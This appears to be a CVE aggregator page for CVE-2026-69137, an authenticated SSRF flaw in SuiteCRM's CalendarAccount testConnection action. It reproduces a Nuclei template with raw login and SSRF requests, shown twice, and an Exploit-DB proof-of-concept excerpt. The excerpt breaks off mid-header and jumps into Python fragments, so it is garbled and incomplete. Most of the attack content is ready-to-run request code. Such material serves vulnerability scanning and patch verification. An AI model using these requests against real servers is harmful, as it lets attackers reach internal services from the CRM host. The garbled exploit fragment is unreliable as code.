CVE-2026-69137
CVE-2026-69137: SuiteCRM <= 7.15.1, <= 8.10.1 - Authenticated SSRF SuiteCRM CalendarAccount testConnection accepts an attacker-controlled server_url and passes it to cURL…
high7.7
EXPLOIT
SuiteCRM <= 7.15.1, <= 8.10.1 - Authenticated SSRF
SuiteCRM CalendarAccount testConnection accepts an attacker-controlled server_url and passes it to cURL without destination validation. An authenticated user can cause a server-side request to loopback or internal network services.
Template:
id: CVE-2026-69137
info:
name: SuiteCRM <= 7.15.1, <= 8.10.1 - Authenticated SSRF
author: EntroVyx
severity: high
description: |
SuiteCRM CalendarAccount testConnection accepts an attacker-controlled server_url and passes it to cURL without destination validation. An authenticated user can cause a server-side request to loopback or internal network services.
impact: |
An authenticated attacker can access internal HTTP services from the SuiteCRM server's network context and may obtain response data through error messages.
remediation: |
Upgrade to SuiteCRM 7.15.2, 8.10.2, or a later release.
reference:
- https://github.com/SuiteCRM/SuiteCRM/security/advisories/GHSA-72r3-24x4-j46c
- https://nvd.nist.gov/vuln/detail/CVE-2026-69137
classification:
cve-id: CVE-2026-69137
cwe-id: CWE-918
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
cvss-score: 7.7
metadata:
verified: true
max-request: 2
vendor: suitecrm
product: suitecrm
shodan-query: http.title:"SuiteCRM"
tags: cve,cve2026,suitecrm,ssrf,authenticated,intrusive
flow: http(1) && http(2)
http:
- raw:
- |
POST /index.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
module=Users&action=Authenticate&user_name={{username}}&username_password={{url_encode(password)}}
matchers:
- type: dsl
dsl:
- 'status_code == 302'
- 'contains(header, "PHPSESSID=")'
condition: and
internal: true
- raw:
- |
POST /index.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
module=CalendarAccount&action=testConnection&source=caldav_basic&username=nuclei&password=nuclei&server_url=http%3A%2F%2F{{interactsh-url}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(interact
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No advisories linked to this vulnerability.
No detection rules found.
Exploit-DB
SuiteCRM 8.10.1 - Authenticated SSRF
exploitdb·2026-10-01
CVE-2026-69137 SuiteCRM 8.10.1 - Authenticated SSRF
SuiteCRM 8.10.1 - Authenticated SSRF
---
# Exploit Title: SuiteCRM 8.10.1 - Authenticated SSRF
# Exploit Author: Max Gabriel (https://github.com/EntroVyx)
# Vendor Homepage: https://suitecrm.com/
# Software Link: https://github.com/SuiteCRM/SuiteCRM
# Version: str:
"""Validate and normalize the SuiteCRM base URL."""
parsed = urlparse(value)
if parsed.scheme not in {"http", "https"} or not parsed.netloc:
raise argparse.ArgumentTypeError("target URL must include http(s):// and a host")
return value.rstrip("/") + "/"
def response_body(response) -> tuple[int, str, str]:
"""Return status, content type, and a decoded response body."""
status = getattr(response, "status", response.getcode())
content_type = response.headers.get("Content-Type", "")
raw = response.read()
charset = response.heade
Nuclei
SuiteCRM <= 7.15.1, <= 8.10.1 - Authenticated SSRF
nuclei·CVSS 7.7
CVE-2026-69137 SuiteCRM <= 7.15.1, <= 8.10.1 - Authenticated SSRF
SuiteCRM <= 7.15.1, <= 8.10.1 - Authenticated SSRF
SuiteCRM CalendarAccount testConnection accepts an attacker-controlled server_url and passes it to cURL without destination validation. An authenticated user can cause a server-side request to loopback or internal network services.
Template:
id: CVE-2026-69137
info:
name: SuiteCRM <= 7.15.1, <= 8.10.1 - Authenticated SSRF
author: EntroVyx
severity: high
description: |
SuiteCRM CalendarAccount testConnection accepts an attacker-controlled server_url and passes it to cURL without destination validation. An authenticated user can cause a server-side request to loopback or internal network services.
impact: |
An authenticated attacker can access internal HTTP services from the SuiteCRM server's network context and may obtain response data
No writeups or analysis indexed.
No timeline events available.